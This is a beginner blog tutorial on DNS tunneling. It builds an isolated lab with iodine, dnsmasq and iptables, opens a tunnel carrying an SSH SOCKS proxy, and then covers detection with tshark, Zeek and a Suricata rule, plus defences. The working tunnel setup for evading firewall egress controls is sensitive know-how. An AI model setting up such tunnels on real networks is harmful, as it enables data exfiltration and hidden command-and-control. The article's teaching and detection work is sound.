packet.zip

DNS Tunneling Explained: Build a Lab and Watch Data Hide Inside DNS

Aamir Lakhani18 min read

If you have ever sat in an airport, connected to the "free" Wi-Fi, and found that every website is blocked until you pay — but the login page still somehow loads — you have already brushed up against the idea behind this article.

Almost every network, no matter how locked down, has to let DNS out. DNS is the phone book of the internet; block it and nothing works at all, not even the captive portal. Attackers know this. So when every other door is bolted, they use the one window that is always cracked open: they stuff their data inside DNS lookups.

That technique is called DNS tunneling, and by the end of this guide you will have built it yourself in a safe lab, watched it work, seen exactly what it looks like on the wire, and — most importantly — learned how to catch it.

This is written for beginners. If you know what an IP address is and can copy commands into a terminal, you can follow along.

Before we start: the ground rules

I need to be blunt for a moment, because this matters.

The lab in this article is completely isolated. It uses a private virtual network, a made-up domain name (dnslab.test), and never touches the internet. That is deliberate, and you should keep it that way.

  • Only do this on machines and networks you own. Running a DNS tunnel across a network you do not administer — your employer's, your school's, a coffee shop's — can violate acceptable-use policies and, depending on where you live, computer misuse law. "I was learning" is not a defense anyone enjoys making.
  • Do not point this at a production network. Not even to "just test" whether the filter catches it. Ask your security team; they will often happily run it with you.
  • The reason we build it is to detect it. Half of this article is the blue-team half. Skipping it misses the point.

Understanding an attack is how you defend against it. That is the whole premise of this blog. But understanding it in a sandbox and deploying it against someone else's network are very different acts.

Part 1 — DNS in five minutes

Skip ahead if you already know this cold. Otherwise, here is everything you need.

When you type example.com into a browser, your computer does not know where that is. It asks a recursive resolver — usually run by your ISP or your company — "what is the IP address for example.com?" The resolver then does the legwork: it asks the root servers, which point it at the .com servers, which point it at the authoritative name server for example.com, which finally gives the real answer. The resolver hands that answer back to you and caches it for next time.

Diagram of a normal DNS lookup: laptop asks a recursive resolver, which queries root, TLD, and authoritative name servers, then relays the answer back.
Figure 1 — A normal DNS lookup. Your laptop never speaks to the authoritative server directly; the resolver relays on your behalf.

Three things about DNS make it interesting to an attacker:

  1. It is almost never blocked. A network that blocks DNS is a broken network.
  2. The resolver will talk to any authoritative server on your behalf. You do not need a direct route to my server — you just need to ask your resolver about a name I control, and your resolver will happily go fetch it for me. That relay is the loophole.
  3. You get to choose the hostname. Nobody validates that a hostname is "reasonable." hello-world.example.com is just as valid a question as www.example.com.

Hold on to point 3. That is the trick.

Part 2 — So what is DNS tunneling?

DNS tunneling means smuggling arbitrary data through DNS queries and answers, using DNS as a transport layer rather than as a name lookup service.

Here is the core idea. If I own the domain dnslab.test, and I run the authoritative name server for it, then:

  • To send data out (client → server), the client encodes its data into a hostname and looks it up. When the client asks for nbswy3dpfqqho33snrscc.t.dnslab.test, my server receives that query and decodes nbswy3dpfqqho33snrscc back into raw bytes. The "lookup" was never about finding an IP — it was a delivery mechanism.
  • To send data back (server → client), my server replies with a record that contains encoded data. TXT records are popular because they hold a lot of text; iodine prefers NULL records because they carry even more raw bytes.
Diagram showing data encoded as base32 in the subdomain labels of a DNS query, and encoded data returned inside a TXT answer record, with DNS size limits noted.
Figure 2 — Where the payload actually hides. Upstream it rides in the hostname; downstream it rides in the answer record.

Do that thousands of times per second and you have a slow, ugly, but functional network connection — one that flows through a firewall that thinks it is only allowing name lookups.

Why it is slow and noisy

DNS was not built for this, and it shows:

  • A single DNS label is capped at 63 bytes; the whole name at 253 bytes.
  • Binary data has to be encoded (base32, base64, or base128) to survive in a hostname, which inflates it by 25–60%.
  • Every packet becomes a query and an answer, so you inherit round-trip latency on everything.

Realistically you get tens to a few hundred kilobits per second. That is useless for streaming video and perfect for stealing a database of credit card numbers slowly, or for keeping a command-and-control channel alive.

It is not always malicious

Worth knowing, because it affects detection:

  • Captive portal bypass. Travelers have used iodine for years to get connectivity through paywalled hotel Wi-Fi.
  • Censorship circumvention. In heavily filtered networks, DNS is sometimes the only path out. Tools like dnstt exist largely for this.
  • Security tooling itself. Some antivirus and reputation services encode lookups into DNS queries by design, which is a classic false-positive source.

What attackers actually use it for

  • Data exfiltration — slowly siphoning out files, credentials, or card data from a segmented network.
  • Command and control — malware beaconing home and receiving instructions. This has been seen in real campaigns for over a decade, and frameworks like dnscat2 and Cobalt Strike's DNS beacon make it trivial.
  • Pivoting — reaching the internet from a host that is supposed to have no internet access at all.

Part 3 — Building the lab

We are going to build the smallest thing that demonstrates the real behavior: two virtual machines on an isolated network, where the client is firewalled so that only DNS to our resolver is allowed out.

That firewall is the entire point. Without it you are just moving packets around; with it, you are proving that DNS alone is enough to escape.

Lab topology diagram: VM-1 client at 10.10.10.20 with egress blocked except UDP 53, and VM-2 dns-server at 10.10.10.10 running dnsmasq on port 53 and iodined on port 5353, on an isolated 10.10.10.0/24 network.
Figure 3 — The lab. No internet, no real domain, nothing reachable from outside.

What you need

  • A hypervisor: VirtualBox (free, all platforms), VMware, UTM (Apple Silicon), or Proxmox. Anything that can make an isolated virtual network.
  • VM-1 (client) — Kali Linux or Ubuntu Desktop. 2 GB RAM is plenty.
  • VM-2 (dns-server) — Ubuntu Server 22.04 or 24.04. 1 GB RAM is plenty.
  • About 45 minutes.

Step 1 — Create the isolated network

In VirtualBox, set both VMs' network adapter to Internal Network and name it dnslab. (In VMware use a Host-only or custom vmnet; in UTM use an emulated VLAN.) This is what guarantees the lab cannot reach the internet.

Assign static addresses. On each VM, edit netplan (Ubuntu Server) or use the GUI:

# VM-2: /etc/netplan/01-lab.yaml
network:
  version: 2
  ethernets:
    enp0s8:
      addresses: [10.10.10.10/24]
# VM-1: /etc/netplan/01-lab.yaml
network:
  version: 2
  ethernets:
    enp0s8:
      addresses: [10.10.10.20/24]
      nameservers:
        addresses: [10.10.10.10]

Apply with sudo netplan apply, then confirm the two can see each other with ping 10.10.10.10 from VM-1. (Your interface name may be eth1, enp0s3, etc. — check ip addr.)

Note: you will need internet access on the VMs once to install packages. Easiest path: leave a second NAT adapter enabled during setup, install everything, then disable that adapter before you start the exercise. Do not skip disabling it.

Step 2 — Install the tools on VM-2

We need two packages: iodine (the tunnel) and dnsmasq (which will play the role of the corporate resolver).

Terminal output showing apt install of iodine, dnsmasq, and tcpdump on Ubuntu, followed by iodined -v printing version information.
Figure 4 — Installing the server side. Note that iodined (with a d) is the server; iodine is the client.
sudo apt update
sudo apt install -y iodine dnsmasq tcpdump

On VM-1, you only need the client:

sudo apt install -y iodine dnsutils

Step 3 — Configure dnsmasq as the lab's resolver

This is the step most tutorials skip, and it is the one that makes the lab realistic. In the real world, the victim machine does not talk to the attacker's name server directly — it asks its own resolver, which forwards the query onward. We are going to reproduce that exact chain.

dnsmasq will listen on port 53 and forward anything under our tunnel domain to iodined, which we will run on port 5353.

Terminal output writing a dnsmasq config file that listens on 10.10.10.10 and forwards the t.dnslab.test domain to 127.0.0.1 port 5353, then restarting dnsmasq and showing it active.
Figure 5 — dnsmasq becomes the lab's recursive resolver and hands the tunnel zone to iodined.
sudo tee /etc/dnsmasq.d/lab.conf > /dev/null <<'EOF'
interface=enp0s8
listen-address=10.10.10.10
bind-interfaces
# Hand the tunnel zone to iodined, which listens on 5353
server=/t.dnslab.test/127.0.0.1#5353
EOF

sudo systemctl restart dnsmasq

If dnsmasq refuses to start, the usual culprit on Ubuntu is systemd-resolved already holding port 53. Fix it with:

sudo sed -i 's/^#\?DNSStubListener=.*/DNSStubListener=no/' /etc/systemd/resolved.conf
sudo systemctl restart systemd-resolved dnsmasq

Step 4 — Start the tunnel server

Now start iodined. Leave this terminal open — it runs in the foreground so you can watch it.

Terminal output of iodined starting up: opening the dns0 interface, setting IP 10.9.9.1 and MTU 1130, and listening for the t.dnslab.test domain.
Figure 6 — iodined running in the foreground, listening on port 5353 for the tunnel domain.
sudo iodined -f -c -P S3cretLabPass -p 5353 -l 127.0.0.1 10.9.9.1/24 t.dnslab.test

Breaking that down, because every flag matters:

FlagMeaning
-fStay in the foreground so you can see the logs
-cSkip client IP checks — lab convenience only, do not do this in earnest
-P S3cretLabPassShared password the client must match
-p 5353Listen on 5353, because dnsmasq owns 53
-l 127.0.0.1Only bind loopback; dnsmasq is the only thing that should reach it
10.9.9.1/24The tunnel's own private subnet — the server takes .1
t.dnslab.testThe domain we are pretending to be authoritative for

Why a subdomain (t.dnslab.test) instead of the bare domain? Convention and headroom. Keeping the tunnel on a dedicated label leaves the parent domain free for normal records, and it keeps the encoded payload as far left in the name as possible — which matters when you only have 253 bytes to play with.

Step 5 — Lock the client down

Here is where the lab earns its keep. On VM-1, drop all outbound traffic except DNS to our resolver.

Terminal output setting iptables OUTPUT policy to DROP with only UDP port 53 to 10.10.10.10 allowed, then demonstrating that curl and ping fail while dig succeeds.
Figure 7 — Egress locked down. HTTP and ICMP fail; only DNS gets out.
sudo iptables -P OUTPUT DROP
sudo iptables -A OUTPUT -o lo -j ACCEPT
sudo iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A OUTPUT -p udp --dport 53 -d 10.10.10.10 -j ACCEPT

Now prove the box is boxed in before you go any further:

curl -m 5 http://10.10.10.10/     # should time out
ping -c1 -W2 10.10.10.10          # should be blocked
dig +short @10.10.10.10 example.com   # should still work

If curl and ping fail while dig succeeds, your simulated "restricted network" is working. This is the moment worth pausing on: that machine currently has no usable network access. Everything that follows happens through the one protocol still permitted.

Part 4 — Open the tunnel

On VM-1:

sudo iodine -f -r -P S3cretLabPass t.dnslab.test
Terminal output of the iodine client connecting: autodetecting NULL query type, negotiating protocol version, setting tunnel IP 10.9.9.2, switching to Base128 codec, and reporting connection setup complete.
Figure 8 — The client negotiating a tunnel entirely through DNS queries.

The -r flag is the most important character in this whole article. By default, iodine first tries to reach the server directly over UDP, because that is much faster. If it succeeds, you have built a plain UDP tunnel and learned nothing about DNS. -r forces it to stay in DNS mode. (In our lab the firewall would block the raw attempt anyway, but get in the habit — plenty of people have "successfully tested DNS tunneling" while accidentally not tunneling over DNS at all.)

When you see Connection setup complete, transmitting data., you have a working tunnel.

Verify it

Open a second terminal on VM-1 (leave iodine running in the first):

Terminal output showing the dns0 interface with address 10.9.9.2, and three successful pings to 10.9.9.1 with roughly 50 millisecond round-trip times.
Figure 9 — ICMP flowing over DNS. ~50 ms latency is normal; every packet is a query/answer pair.
ip addr show dns0        # you should have 10.9.9.2
ping -c 3 10.9.9.1       # ping the server through the tunnel

Those ping replies just traveled inside DNS packets. Sit with that for a second — the firewall believes it has blocked ICMP, and it has, but the ICMP is riding inside something the firewall was told to allow.

Make it genuinely useful

A tunnel that only pings is a party trick. The classic next move is to run a SOCKS proxy over SSH through the tunnel, which turns it into general-purpose internet access:

# On VM-2, make sure sshd is running:  sudo apt install -y openssh-server
# Then from VM-1:
ssh -D 8080 -N youruser@10.9.9.1

Point a browser's SOCKS5 proxy at 127.0.0.1:8080 and it will route through the tunnel. In our isolated lab there is nothing to browse to — which is fine, the mechanism is what matters. On a real network this is exactly how an attacker converts "DNS is allowed" into "I have full internet access."

Try measuring throughput to feel how constrained it is:

# Rough and ready: time a transfer through the tunnel
dd if=/dev/zero bs=1k count=200 2>/dev/null | ssh youruser@10.9.9.1 'cat > /dev/null'

Expect something in the tens-of-KB/s range. Now imagine exfiltrating a 2 GB database at that rate — it would take days. Attackers do it anyway, because slow and undetected beats fast and caught.

Other tools worth knowing

iodine is the best teaching tool because it gives you a real network interface. In the wild you will also meet:

  • dnscat2 — built for command-and-control rather than IP tunneling. No root needed, no tun device, gives you a shell. Closer to what real malware does.
  • dnstt — modern, and sends the upstream leg over DNS-over-HTTPS or DNS-over-TLS, which defeats a lot of the detection we are about to cover.
  • dns2tcp — older, simpler, forwards a single TCP service.

Part 5 — What it looks like on the wire

Now switch hats. You are the defender. Back on VM-2, watch the traffic while the tunnel runs:

sudo tshark -i enp0s8 -f 'udp port 53' \
  -T fields -e ip.src -e dns.qry.type -e dns.qry.name.len -e dns.qry.name
tshark output showing DNS queries from 10.10.10.20 with query type 10 (NULL), query name lengths of 110 to 151 bytes, and long random-looking base32 subdomains under t.dnslab.test.
Figure 10 — The same tunnel, seen by the defender. Three separate red flags in one screen.

If you prefer the Wireshark GUI, these display filters get you to the same place:

dns.qry.name.len > 50           # suspiciously long lookups
dns.qry.type == 10              # NULL records
dns.qry.type == 16              # TXT records
dns && ip.addr == 10.10.10.20   # everything from one host

Part 6 — How to actually detect this

This is the part I would tattoo on a junior analyst. DNS tunneling is loud if you know what to look at. No single indicator is proof — legitimate services trip several of these — but stacked together they are damning.

1. Volume and rate. A tunnel generates thousands of queries per minute to a single parent domain. Real user browsing does not look like that. Baseline "queries per client per parent domain per hour" and alert on outliers.

2. Query name length. Ordinary lookups are 20–40 bytes. Tunnels run 100–250 because they are cramming payload in. Average query length per domain is one of the single best signals.

3. Unique subdomain count. This is the killer. A tunnel never repeats a hostname — every query carries new data, so every name is unique. Legitimate domains have a small, repeating set of hostnames. Thousands of never-before-seen subdomains under one parent domain is close to a smoking gun.

4. Record types. NULL queries have essentially no legitimate use. High volumes of TXT deserve a look too (though SPF/DKIM/DMARC and various SaaS verifications use TXT legitimately, so expect noise).

5. Entropy. Encoded payloads look random. Real hostnames look like words. Character-frequency or Shannon entropy scoring on the leftmost labels separates them well.

6. Timing. Malware beacons on a schedule. Suspiciously regular intervals — every 30 seconds, forever — is a behavioral tell that survives even when the payload is encrypted.

7. No corresponding traffic. A host that resolves a domain but never then connects to the resulting IP is behaving oddly. Correlating DNS logs against connection logs catches a lot.

Terminal output aggregating DNS logs: one client showing 18,423 queries to a single domain versus tens of queries to normal domains, and an average query name length of 128 bytes.
Figure 11 — Aggregation does the work. One host, 18,000+ unique subdomains, average name length 128 bytes.

Try it in your own lab — count queries per parent domain:

sudo tshark -i enp0s8 -f 'udp port 53' -T fields -e dns.qry.name \
  | rev | cut -d. -f1-3 | rev | sort | uniq -c | sort -rn | head

Your tunnel domain will sit at the top by an absurd margin.

With real tooling

Zeek is the most practical option; it writes a dns.log with everything you need:

zeek-cut id.orig_h query qtype_name < dns.log \
  | awk '{ print $1, length($2), $3 }' \
  | sort | uniq -c | sort -rn | head -20

Suricata — a starting-point rule (tune the thresholds to your environment before you trust it):

alert dns $HOME_NET any -> any any ( \
  msg:"Possible DNS tunneling - excessive long queries to single domain"; \
  dns.query; content:".dnslab.test"; \
  threshold: type threshold, track by_src, count 100, seconds 60; \
  classtype:policy-violation; sid:9000001; rev:1; )

What to make sure you are logging. You cannot detect what you do not collect:

  • Full DNS query logs from your internal resolvers (query name, type, client IP, timestamp).
  • Windows: enable DNS Client logging, or use Sysmon Event ID 22 (DnsQuery).
  • On the resolver: dnsmasq log-queries, BIND querylog, or Windows DNS analytical logs.
  • Retain long enough to spot slow exfiltration — a patient attacker spreads it over weeks.

Part 7 — How to defend against it

Detection tells you it happened. These reduce the odds.

  1. Force all DNS through your own resolvers. Block outbound UDP/TCP 53 from everything except your resolvers. This is the single highest-value control, and it is astonishing how many networks skip it.
  2. Block or control DoH/DoT. DNS-over-HTTPS on 443 sails straight past DNS-based controls, and modern tunnels use it. Block known DoH endpoints, disable it in managed browsers, and watch for it.
  3. Use a DNS firewall / RPZ / threat feed. Reputation blocking on newly registered and low-reputation domains kills a lot of this cheaply.
  4. Rate-limit and alert at the resolver. Cap queries per client per domain per minute. Tunnels need volume; take the volume away and they die.
  5. Restrict NULL and unusual record types outbound if your environment does not need them.
  6. Segment, then verify. If a server genuinely should have no internet access, confirm that includes DNS — give it an internal-only resolver with no recursion to the outside.
  7. Baseline your DNS. Know your normal query volumes and top domains. Anomaly detection is impossible without a baseline.

Realistically, the honest summary is: you will not reliably prevent DNS tunneling, so instrument for detection. Treat DNS as a monitored egress channel, not a plumbing detail.

Part 8 — Tear the lab down

When you are finished:

# VM-1: stop the client (Ctrl-C in the iodine terminal), then flush the firewall
sudo iptables -P OUTPUT ACCEPT
sudo iptables -F OUTPUT

# VM-2: Ctrl-C iodined, then
sudo systemctl stop dnsmasq
sudo rm /etc/dnsmasq.d/lab.conf

Better still, snapshot the VMs before you start so you can roll back cleanly — and if you enabled a NAT adapter to install packages, leave it disabled.

Where to go next

You now understand a technique that has been used in real breaches for over a decade, and you have seen both sides of it. Some suggested next steps:

  • Rebuild it with dnscat2 and compare the traffic patterns. It looks different because it is a C2 channel, not an IP tunnel.
  • Try dnstt over DoH and then attempt to detect it. This is the sobering exercise — most of the Part 6 signals evaporate, and you are left with volume and timing.
  • Write a detection from scratch. Take a packet capture of your own tunnel, then write a script that flags it using entropy and unique-subdomain counts. Test it against a capture of normal browsing and see how many false positives you get. That gap is where real detection engineering lives.
  • Log everything, then hunt. Point Zeek at your home network for a week and go looking for the noisiest domains. You will find CDNs and telemetry, not attackers — and learning what "normal" looks like is the most transferable skill here.

If you build something interesting on top of this, or you find a detection approach that works better, I would genuinely like to hear about it.

Further reading


A note on the figures in this article: they are authored illustrations rendered in this site's style, showing the output you should expect at each step, rather than captures from one specific machine. Your exact version strings, interface names, and timings will differ. If something in your lab looks meaningfully different from what is shown here, that difference is worth investigating — it is usually where the learning is.

Aamir Lakhani

Founder · Packet.Zip

Aamir Lakhani is a leading senior security strategist responsible for providing IT security solutions to major enterprises and government organizations. He creates technical security strategies and leads security implementation projects for

~/related

Keep digging

More research along the same attack path.